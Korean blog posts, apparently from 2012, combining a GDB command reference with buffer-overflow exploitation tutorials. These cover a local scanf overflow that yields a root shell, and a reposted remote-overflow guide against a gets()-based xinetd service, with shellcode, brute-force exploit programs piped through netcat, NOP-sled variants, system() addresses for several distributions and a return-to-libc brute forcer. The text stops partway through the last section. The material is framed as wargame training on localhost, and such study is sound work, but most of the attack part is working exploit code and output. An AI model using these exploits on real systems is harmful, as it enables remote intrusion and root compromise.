    (GDB) break 10 if var == 0  //var 변수의 값이 0일때 10번 행에 설정

브레이크포인트의 발동 조건은 다양하게 변경 가능하다.

    (GDB) condition [N] var == 0   //var변수가 0일때 N번 브레이크포인트 동작
    (GDB) condition [N] func(i) > 5

현재 설정된 브레이크포인트의 목록은 다음의 명령으로 확인 가능하다.

    (GDB) info break

브레이크포인트는 GDB가 종료될때까지 유효하다.
따라서 필요없을때는 다음의 방법들을 통해 설정을 지운다.

    (GDB) cl(clear) [함수명]
    (GDB) clear 10
    (GDB) clear [파일명]:[함수명]
    (GDB) clear [파일명]:10
    (GDB) d   //모든 브레이크포인트 지움
    (GDB) disable br  //모든 브레이크포인트 비활성화
    (GDB) disable br 1 3  //1번, 3번 브레이크포인트 비활성화
    (GDB) ensable br  //모든 브레이크포인트 활성화
    (GDB) ensable br 1 3  //1번, 3번 브레이크포인트 활성화

<<프로그램 실행>>
프로그램의 실행은 run 명령어를 이용한다.
만일 이미 실행중일때는 재실행한다.

    (gdb) r(run)

프로그램 실행시 인자를 지정하기 위해서는 다음과 같이 이용한다.

    (gdb) run arg1 arg2

실행중인 프로그램을 종료할 때는 kill 명령어를 이용한다.

    (gdb) k(kill)

현재 실행중인 행의 수행을 멈추기 위해서는 step 명령어를 이용한다.
step 명령어는 한행씩 동작하도록 한다. next 명령어와는 함수 호출시 다른 결과를 보인다.

    (gdb) s(step)
    (gdb) step 6   //step을 6번 수행

현재 행의 실행이 멈춘상태에서 다음 행을 실행하기 위해서는

    (gdb) n(next)
    (gdb) next 6   //next를 6번 수행

만일 step명령을 이용중 루프에 빠져 나오지 못할경우에는 until 명령어를 이용한다.

    (gdb) u(until)

한행씩이 아닌 다시 연달아서 실행하기 위해서는

    (gdb) c(continue)

함수가 매우 길어 끝나는 지점으로 이동하기 위해서는 finish 명령어를 사용한다.

    (gdb) finish

함수의 남은 부부을 수행하지 않고 빠져나오기 위해서는 return 명령어를 사용한다.

    (gdb) return

return 명령어를 사용시 return 값을 임의로 지정하기 위해서는 다음과 같이 이용한다.

    (gdb) return 1234

<<와치포인트 설정>>
와치포인트는 변수값의 변화와 코드의 변화를 확인할때 편리하게 이용가능하다.

    (gdb) watch [변수명]   //변수에 값이 써질 때 브레이크
    (gdb) rwatch [변수명]  //변수의 값이 읽혀질 때 브레이크
    (gdb) awatch [변수명]  //변수에 읽기, 쓰기 경우에 브레이크

<<변수와 레지스터 값 검사>>
현재 위치한 행에서 접근 가능한 지역변수들 목록 확인

    (gdb) info locals

현재 위치한 행에서 접근 가능한 전역변수들 목록 확인

    (gdb) info variables

확인하고싶은 변수의 값을 출력하기 위해서는 print 명령어를 사용한다.

    (gdb) p(print) [변수명]  //변수의 값
    (gdb) print [함수명]   //함수의 주소 값

포인터 변수의 경우 위의 방법으로 하면 주소값만이 출력된다.
포인터 변수의 값 또는 포인터 구조체 등의 값을 보기 위해서는 * 를 붙여준다.

    (gdb) print *[변수명]

이중 포인터라면 ** 를 붙여준다.

GDB는 변수 뿐만 아니라 레지스터의 값도 확인할 수 있다.

    (gdb) print $[레지스터명]

print 명령어는 지역변수를 우선하여 보여주기 때문에
지역변수와 전역변수에서 동일한 이름을 사용할때 전역변수를 확인하기 위해서는 :: 을 이용한다.

    (gdb) print 'main.c'::[변수명]

파일명은 '따옴표' 으로 감싸야한다.

특정 함수에 있는 변수를 확인하기 위해서는

    (gdb) print [함수명]::[변수명]

print 명령어로 변수 또는 레지스터를 확인할 때는 기본적으로 10진수로 출력한다.
이를 다른 형식으로 보고싶을 때는 다음과 같은 방법을 이용한다.

    (gdb) print/t [변수명]    //2진수로
    (gdb) print/o [변수명]    //8진수로
    (gdb) print/d [변수명]    //10진수로 (int)
    (gdb) print/u [변수명]    //부호없는 10진수로 (unsigned int)
    (gdb) print/x [변수명]    //16진수로
    (gdb) print/c [변수명]    //최초 1바이트 값을 문자형으로
    (gdb) print/f [변수명]    //부동소수점값
    (gdb) print/a [변수명]    //가장 가까운 심볼의 오프셋

print 명령어는 값을 보여줄뿐 아니라 값을 설정하는 것도 가능하다.

    (gdb) print [변수명] = [값]

<<화면에 변수의 값을 자동으로 디스플레이하기>>
display 명령어를 이용하면 매 단계가 진행될때마다 자동으로 변수의 값을 출력해준다.

    (gdb) display [변수명]

display 변수를 해제하기 위해서는 undisplay 명령어를 이용한다.

    (gdb) undisplay [N]

display 역시 x,c,o 등등을 이용해 다양한 형태로 출력 가능하다.

Posted by k1rha
2012. 7. 6. 00:43

Scanf 환경에서의 아주아주 simple한 오버플로우 테스트.



환경 

FEDORA 3

[root@Fedora_1stFloor test]# uname -a
Linux Fedora_1stFloor 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux
[root@Fedora_1stFloor test]# gcc v
gcc: v: No such file or directory
gcc: no input files
[root@Fedora_1stFloor test]# gcc -v
Reading specs from /usr/lib/gcc/i386-redhat-linux/3.4.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-java-awt=gtk --host=i386-redhat-linux
Thread model: posix
gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)
[root@Fedora_1stFloor test]# 

취약한 코드 


[root@Fedora_1stFloor test]# cat scanf.c
#include<stdio.h>

int main(){
char buff[100];
scanf("%s",buff);
printf("%s",buff);
return 0;
}



공격은 가호 안살지만 간단한 테스트를 위해 심볼릭 링크를 이용하겠다. 


[root@Fedora_1stFloor test]# cat system.c

#include<stdio.h>


int main(){

system("/bin/sh");

return 0;

}

[root@Fedora_1stFloor test]# 



필요한 주소값들 조사.

0x080483e6 <main+74>: ret
 (gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>

(gdb) p execve

$2 = {<text variable, no debug info>} 0x7a5490 <execve>




오버플로우 발생 확인 RET주소 덮여쓰여지는 것 확인 

[root@Fedora_1stFloor test]# ulimit -c 1000

[root@Fedora_1stFloor test]# (python -c 'print "A"*128')|./scanf

[root@Fedora_1stFloor test]# gdb -c core.13235 

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu".

Core was generated by `./scanf'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) 



공격 PAYLOAD 

[buffer 120byte ] [sfp = 4byte] [ret = 4byte] [argc ][argv]

AAAAA.....AAA   AAAA             &ret -> &ret -> &ret -> &ret  &system

                                             (정적인 주소까지 eip를 올린다)   

 


[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' )| strace -i  ./scanf

[007037a2] clone(sh: AAAA: command not found

child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfee68ee0) = 13255

[007037a2] waitpid(13255, [{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0) = 13255

[007037a2] rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0

[007037a2] rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0


[root@Fedora_1stFloor test]#

[root@Fedora_1stFloor test]# ln -s system AAAA 


[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' ;cat)|  ./scanf

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)


다들 scanf 쓰실때 버퍼 오버 플로우 조심하쎄요~ 





Posted by k1rha
2012. 6. 21. 02:18

리모트 버퍼 오버플로우 총정리

made by Hackerschool_mongil

 

이번 WGD에선 데몬 형태로 작동하는 네트워크 프로그램에 대한 버퍼 오버플로우

공격 기법들에 대해 학습해 보도록 하겠다. 지금까지 우리는 로컬 영역에 설치된

프로그램. , 우리가 쉘을 가지고 있는 상태에서 더욱 높은 권한(보통 root)

을 얻어내기 위해서 취약 프로그램을 공격해왔었다. 하지만, 이번의 설정은

우리가 Target 서버에 아무런 쉘 권한도 가지고있지 않고, 취약 프로그램이

Xinetd 혹은 독립적인 네트워크 프로그램 형태로 Target 서버의 특정 Port

연결된 상태, , 데몬으로 작동하고있다고 가정한다. 이와같은 형식으로 구성된

프로그램의 예는 우리 주위에서 쉽게 찾을 수 있다. Telnet, SSH, Apache,

Sendmail, POP 등등.. 이 프로그램들의 특징은 각각 자신의 고유한 Port 번호에

프로그램의 입출력이 연결되어 그 Port에서 들어오는 입력을 처리하고, 그에 대한 결과를 역시 같은 Port로 출력하며, 이러한 처리를 다수의 클라이언트에게 제공 하는 서버 형태의 프로그램이라는 점이다. 그럼 이러한 형태의 프로그램은 어떻게 구현 가능할까? 크게 두 가지 방법으로 나누어볼 수 있으며, 앞으로 이 두 가지 경우에 대한 공격 테스트를 진행하도록 하겠다.

 

네트워크 프로그램을 구현하는 두 가지 방법

 

1. 표준 입출력에 작동하는 일반적인 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결 시킴.

2. 독립적인 네트워크 프로그램으로 구현하여 작동시킴.

 

이번 문서에서는 이 두 가지 경우 중 첫 번째에 대한 공격들만 다루어 보도록 할

예정이다. 그럼 먼저 1번에 해당하는 취약 프로그램을 한번 구현해보자.

 

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

이 프로그램은 마치 로컬 환경을 위한 것으로 보인다. 하지만, 다음과 같은 과정을 통해 Xinet 데몬에 등록하면, Xinet 데몬에 의해 표준 입력 주체는 Xinetd 설정에 의해 지정된 Port가 되며, 표준 출력의 주체 역시 그 Port가 된다. 따라서 결국 위 프로그램이 네트워크 프로그램으로 작동하게 될 것이며이러한 과정은 내부적으로 디스크립터의 입출력을 변경해주는 dup() 계열의 함수에 의해 이루어진다.

 

프로그램을 Xinetd에 등록하는 과정.

 

1. 위 코드를 컴파일한다.

===========================================================

[root@ftz BOF]# gcc -o vuln vuln.c

/tmp/ccmC8XAk.o(.text+0x18): In function `main':

: the `gets' function is dangerous and should not be used.

[root@ftz BOF]#

===========================================================

친절하게도 gcc "gets 함수는 위험해!" 하며 주의를 준다. 하지만 우리는 gets 함수를 매우 좋아함으로 위 경고에 신경쓸 필요가 없다.

 

2. /etc/xinetd.d 디렉토리로 이동한 후, 다음과 같은 파일을 작성한다.

참고로 user 부분은 취약 프로그램을 실행시킬 권한을 정의하는데, root로 할 경우 내가 아닌 다른 사람에게 공격당할 경우 치명적임으로 일반 계정으로 지정해준다.

 

===================================================

[root@ftz xinetd.d]# cat > vuln

service vuln

{

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = guest

        server          = /root/BOF/vuln

        disable         = no

}

[root@ftz xinetd.d]#

===================================================

 

3. 위에서 service 오른쪽의 단어는 Port Name을 의미한다. 하지만, vuln이라는

이름의 Port는 정의되어있지 않음으로 이를 /etc/services 파일에 추가해 준다.

 

[root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services

 

4. 이제 xinetd를 재구동시키면 지금 추가한 설정이 적용되어 31337번의 TCP

포트가 오픈되고, 그곳에 접속하면 앞서 작성한 vuln 프로그램을 만날 수 있게된다.

 

=======================================================================

[root@ftz BOF]# /etc/rc.d/init.d/xinetd restart

xinetd 를 정지함:                                          [  확인  ]

xinetd ()를 시작합니다:                                  [  확인  ]

[root@ftz BOF]#

=======================================================================

 

5. 접속 테스트

 

========================================================================

[root@ftz BOF]# telnet localhost 31337

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

mirable

당신이 입력한 문자열 : mirable

Connection closed by foreign host.

[root@ftz BOF]#

=======================================================================

 

, 그럼 이제부터 이 취약 프로그램에 대한 다음과 같은 7가지 공격 테스트를

시도해 보겠다.

 

1. 무작위로 쉘코드의 위치를 찾아내는 공격 1 (정확하게 쉘코드 찾기)

공격 효율성 : ★★☆☆☆

2. 무작위로 쉘코드의 위치를 찾아내는 공격 2 (NOP을 이용하면 편하다)

공격 효율성 : ★★★☆☆

3. 무작위로 쉘코드의 위치를 찾아내는 공격 3 (더욱 많은 NOP을 넣어볼까?)

공격 효율성 : ★★★★☆

4. 버퍼의 크기가 작을 때의 리모트 공격

공격 효율성 : ★★★★☆

5. 리모트 환경에서의 Return to Library를 이용한 공격

공격 효율성 : ★★☆☆☆

6. 단 한번에 RTL을 이용한 공격 성공시키기

공격 효율성 : ★★★☆☆

7. 단 한번에 RTL을 이용한 공격 성공시키기 2

공격 효율성 : ★★★★★

 

그럼 먼제 1번에 해당하는 공격을 해보자. 공격 시나리오는 다음과 같다. 먼저,

과연 몇 바이트를 입력해야 segfault가 발생하는지를 파악한다. 그 다음엔 buffer변수에 주입할 쉘코드를 생성한다. 이제 실제 해당 Port에 접속하여 쉘코드를 입력하고, return address가 저장되어있는 부분을 스택의 바닥 부분인 0xc000000 에서부터 4바이트씩 감소해나간다. 공격이 성공할 때까지 계속해서 이 과정을 반복하고, 만약 공격에 성공한다면 무차별 대입 과정은 종료되고 TAREGET 서버의 쉘이 터미널에 나타날 것이다.

 

일단, 몇 바이트를 입력했을 때 segfault가 발생하는지부터 확인해보자.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]#

[root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337

[root@ftzk BOF]#

==========================================================================

 

150바이트를 입력하니, 아무런 응답이 없이 연결이 끊겼다. 이처럼 local 환경에서 segfault가 나는 것과는 달리 리모트에선 아무런 반응 없이 바로 연결이 끊겨버리는 것이 특징이다. 100에선 segfault가 나지 않고, 150에선 났으니 버퍼의 크기가 100150 사이라는 것을 추측할 수 있다.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

 

점점 정확한 버퍼의 범위가 모습을 드러내고있다.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

 

정확히 124바이트에서 오버플로우가 일어났다. SFP가 변경되었을 때 역시 segfault가 난다는 사실을 감안하면, 121~124 영역은 SFP 영역이며, 125~128이 바로 RET 영역 이라고 추측해낼 수 있다. 또한, 버퍼의 크기가 120바이트로 예측되었지만, DUMMY 값이 있을 수 있음으로 실제로는 120바이트 이하가 될 가능성도 있다. (실제로는 100바이트이다.) 하지만, 우리에게 중요한 부분은 RET 영역임으로 DUMMY 값이 어떤 다른 중요한 영향을 미치지는 않는다.

 

그럼 이제 공격 STRING의 모습을 구성해보자.

 

취약 프로그램의 스택

[~~~~~~~~~~ 120 바이트의 버퍼 공간~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~]

 

공격 스트링

[~~~~쉘 코드~~~~][~~~~~~~~~쓰레기 값들~~~~~~~~~~~][SFP][RET]

↑                                                       │

└────────────────────────-───┘

        RET이 쉘 코드를 정확히 가리키도록 BRUTE FORCE

 

그리고 위 내용에 따라 Exploit을 구현한다. 완성된 Exploit이 아닌, 구현해 나가는 과정을 순차적으로 보이도록 하겠다.

 

※ BRUTE FORCE 테스트

 

============================

int main()

{

        int *ret;

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

============================

               

실행 결과               

 

============================

[root@ftz BOF]# ./a

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

0xbfffffe4

0xbfffffe0

(ctrl+c)

[root@ftz BOF]#

============================

 

.. 원하는 결과대로 잘 나오는군.. 이런 식으로 계속 모든 스택 영역을  헤치다 보면 결국엔 쉘코드의 위치를 찾아 쉘을 띄우게 될 것이다.

 

※ 120바이트 변수에 쉘코드를 넣자

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

       

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

==========================================================================

 

리턴 어드레스 부분(spy+124) ret 변수의 값을 넣자.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

        

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                ret--;

        }

}

==========================================================================

 

완성된 공격 STRING이 해당 IP Port로 전송되도록 한다.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

        char command[300];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret--;

        }

}

==========================================================================

 

이것이 완성된 Exploit이다. Exploit 0xc0000000에서부터 4바이트씩 감소해

가며 쉘코드의 위치를 찾다가, 쉘코드가 발견되어 쉘이 실행된다면 id라는 문자열을

전송하여 화면에 이 명령의 결과가 출력되도록 해줄 것이다. 만약 특정 명령어가

아닌 직접 쉘을 사용하고 싶다면, 위 소스 중 printf "id\n" 부분을 삭제하면 된다.

 

이제 Exploit을 실행시켜 성능을 확인해보자.

 

==================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

... 생략 ...

0xbffffab0

0xbffffaac

0xbffffaa8

0xbffffaa4

0xbffffaa0

0xbffffa9c

uid=1000(guest) gid=1000(guest)

(공격 성공)

==================================

 

위와 같은 결과가 나오기까지는 약 1~2분의 시간밖에 소요되지 않는다. 약간 무식한 방법이긴 하지만 그리 비효율적인 공격 방법은 아니라는 말이다. 그리고 앞으로  공격 경험이 많아지면 버퍼의 위치가 대략 0xbffffb00 이하의 주소에 위치하게 된다는 사실도 알게 될 것임으로 Exploit을 수정하여 공격 시간을 훨씬 단축 시킬 수 있을 것이다. , 위 같은 BRUTE FORCE 공격 중 쉘 코드가 실행되지 않았 음에도 불구하고 터미널이 멈추는 경우가 있다. 이는 리턴 어드레스가 운 나쁘게도 while(1)과 같은 무한 루프 기계어를 만나게 되었을 경우이며, CTRL+C를 눌러 수동 으로 터미널을 빠져나오도록 해줘야한다.

 

다음엔 공격 확률을 높여서 쉘을 획득하는 시간을 최대한 높이는 것을 목적으로

Exploit을 수정해 나가보도록 하겠다. 먼저, 로컬에서 그랬던 것과 마찬가지로

NOP 코드를 충분히 넣어 쉘코드를 더욱 쉽게 실행할 수 있도록 유도해보자.

간단하게 다음과 같이 Exploit을 수정해 주면 될 것이다.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

        char command[300];

 

        memset(spy, '\x90', 128);        // NOP으로 가득 채운다.

        memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode));

                // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

 

        ret = (int *)0xc0000000;       

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 20;        // 넉넉하게 80바이트씩 이동한다.

        }

}

==========================================================================

 

이제 설레이는 마음으로 수정된 Exploit을 실행해보자. 참고로 가장 마지막 라인인 ret - 20 "ret 주소를 80바이트 감소"를 의미하는 이유는 ret 포인터 변수의TYPE 4바이트에 해당하는 int이기 때문이다. 포인터의 +, - 연산은 해당 포인터 형의 바이트 수 단위에 따라 적용된다는 것을 기억하라. , 80바이트로 정한 이유는 SPY 변수의 쉘코드 앞쪽에 들어간 NOP 크기가 얼핏 계산하기에 80~100바이트 정도 되기 때문이다. 80~100바이트가 NOP임으로 그 NOP 지대의 단 한 부분만을 리턴 어드레스가 가리키기만 하면 결국 쉘코드가 실행될 것이다.

 

==========================================================================

[root@ftz BOF]# ./ex

0xc0000000

0xbfffffb0

0xbfffff60

sh: command substitution: line 1: syntax error near unexpected token `0@(?

sh: command substitution: line 1: `?

                                      B 0@(??

0xbfffff10

0xbffffec0

0xbffffe70

0xbffffe20

0xbffffdd0

0xbffffd80

0xbffffd30

0xbffffce0

0xbffffc90

0xbffffc40

0xbffffbf0

0xbffffba0

0xbffffb50

0xbffffb00

0xbffffab0

uid=1000(guest) gid=1000(guest)

(공격 성공)

==========================================================================

 

공격을 성공시키기까지 약 5초도 채 걸리지 않았다. 역시 NOP의 위력은 로컬에서나 리모트에서나 그 역할을 톡톡히 하는 것 같다.

이정도만 해도 리모트 공격의 성과는 충분히 만족할 만하다. 하지만, 재미를 위해 몇 가지 기술을 더 익혀보도록 하자.

 

다음에 설명할 내용은 더 많은 NOP을 주입하는 기술이다. 버퍼의 용량은 이미 120 바이트로 한정되어있다. 그런데 어떻게 더 많은 NOP을 주입할 것인가? 바로 답을 얘기하자면 "리턴 어드레스의 뒷 부분에 NOP과 셀코드를 넣는다" 이다.

 

[~~~~~쓰레기 값 120 바이트~~~~~~][SFP][RET][~~~~~~~~~~~NOP~~~~~~~~~~][쉘코드]

                                       │  ↑

                                       └─┘

                            이 부분을 가리키도록 BRUTE FORCE

 

위의 시나리오에 맞게 앞서 작성한 Exploit을 수정해보자.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[1000]; // 1000바이트를 할당한다.

        char command[1200];

 

        memset(spy, 'A', 1000);        // 버퍼 초기화

        memset(spy+128, '\x90', 1000);  // RET 이후를 NOP으로 가득 채운다.

        memcpy(spy+1000-strlen(shellcode), shellcode, strlen(shellcode));

        // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

 

        ret = (int *)0xc0000000;       

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 200;        // 넉넉하게 800바이트씩 이동한다.

        }

}

==========================================================================

 

이제 더욱 설레이는 마음으로 Exploit을 실행해보자.

 

=====================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffce0

uid=1000(guest) gid=1000(guest)

=====================================

 

성과가 엄청나다. 단 두 번만에 공격을 성공시켰다. 이 공격을 사용할 때의 의할 점은 spy 변수의 크기를 너무 과하게 잡으면, 스택의 영역을 벗어나 0xc0000000 뒷 쪽의 커널을 건드려 공격이 성공하기도 전에 프로그램이 종료되는 수가 다는 점이다. 대략 800 바이트의 spy 변수를 잡아주면 가장 무난하다.

 

이제 다음에 테스트해 볼 내용은 바로 버퍼의 크기가 매우 작을 때의 리모트 공격 이다. 취약 프로그램의 소스가 다음과 같다고 가정해보자.

 

======================================================

int main()

{

        char buffer[8];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

버퍼의 크기가 매우 작음으로, 쉘코드를 주입할 공간이 없다. 하지만, 이에 대한

답은 이미 나왔다. 바로 앞서 배웠던 "RET 뒷 쪽에 NOP 넣기" 기법을 사용하면 된다.

공격 과정과 결과는 앞서 했던 것과 동일함으로 생략하도록 하겠다. (Exploit에서 RET이 저장되는 위치와 변수로 들어갈 쓰레기 값의 크기만 수정하면 될 것이다.)

 

, 다음 차례는 리모트 환경에서의 Return To Library 기법 활용법이다. 이런

공격 방식을 사용해야하는 경우는 거의 없겠지만, 가끔 wargame이나 hacking event등에서 문제를 위해 출제되는 경우가 있다.

 

일단, 우리가 사용할 라이브러리는 system() 함수라고 가정한다. 그럼, 이 함수의 주소를 어떻게 찾아낼 것인가?

 

이 함수는 /lib/i686/libc-2.2.5.so 공유 라이브러리에 존재하며, 프로세스가 실행 될 때 보통 42000000~4212c000 사이의 주소에 적재된다. 그럼 과연 이 주소를 모두 샅샅이 검색하여 system() 함수의 주소를 찾아야할까? 아마도 아무런 힌트도 없는 상황이라면 이 방법이 정석이겠지만, 다음과 같은 사실을 안다면 매우 쉽게 system 함수의 주소를 찾아낼 수 있다. 그 사실은 바로 "각 리눅스 배포본들의 system  함수 주소는 동일하다" 이다. , A라는 서버가 레드햇 8.0을 사용하고 있고, B라는 서버 역시 레드햇 8.0을 사용하고 있다면, A에서 조사된 system 함수의 주소가 B에서 조사된 system 함수의 주소와 동일하다는 말이다.

다음은 이 문서를 위하여 미리 조사한 각 배포본들의 system 함수 주소이다.

 

각 배포본들의 system 함수 주소 모음 (차후 계속 업데이트 예정)

 

=========================

레드햇 6.2 : 0x4005aae0

레드햇 7.3 : 0x42049e54

레드햇 9.0 : 0x4203f2c0

=========================

 

데몬으로 작동 중인 취약 프로그램의 환경이 레드햇 버젼 몇인지는 알 수 없을

것이다. 따라서, 위의 값들을 하나씩 차례대로 대입해나가며 확인을 하도록 한다.

 

===========================================================================

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\xe0\xaa\x05\x40"; printf

"\n"' | nc localhost 31337

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42"; printf

"\n"' | nc localhost 31337

sh: [?? command not found

[root@ftz BOF]#

===========================================================================

 

0x42049e54에서 command not found가 나타났다. 이로써 타겟의 환경이 레드햇 7.3임과 공유 라이브러리 내의 system 함수 위치를 알 수가 있다.

 

그럼 이제 필요한 것은 "/bin/bash", "/bin/sh", "bash", "sh" 등 쉘 명령을 의미 하는 문자열의 주소이다. 안타깝지만 이 문자열의 주소 역시 지금의 상황에서는 기가 막히게 찾아 내는 특별한 방법이 없다. 아무리 system() 함수의 주소를  알고 있다 하더라도 인자로 들어갈 문자열의 주소를 BRUTE FORCE로 찾아 내야 하기  때문에 리모트 상에서 RTL 기법은 그다지 메리트가 있지 않다. (하지만, 뒤에서 설명되는 RTL 응용 기법에서는 얘기가 달라진다.)

 

RTL 기법을 공부한 경험이 있다면, 강제로 호출된 system() 함수의 인자가 return address + 8 부분에 위치하게 된다는 사실을 알고 있을 것이다. 이 점을 감안하여 Brute Force 기능을 가진 Exploit을 구현해보자.

 

==========================================================================

#include <stdio.h>

 

int main()

{

        int *arg;

        char command[200];

 

        arg = (int *)0xc0000000;     // system 함수의 인자로 들어갈 주소 값.

 

        while(1){

                printf("&arg = %p\n", arg);

                sprintf(command, "(printf \"id\\n\" | (perl -e 'printf \"sh\\0\\0\"x31; printf \"\\x54\\x9e\\x04\\x42AAAA\"; printf \"%s\\n\"';cat)) | nc localhost 31337", &arg);

                system(command);

                arg--;          // 인자의 예상 주소를 4바이트씩 감소.

        }

}

 

==========================================================================

 

sprintf() 부분이 조금 조잡해 보이지만, 다음과 같이 정리해서 보면 쉽게 이해가 갈 것이다.

 

정리

$ perl -e 'printf "sh\0\0"x31; printf "\x54\x9e\x04\x42AAAA"; printf "?\n"

 

분석

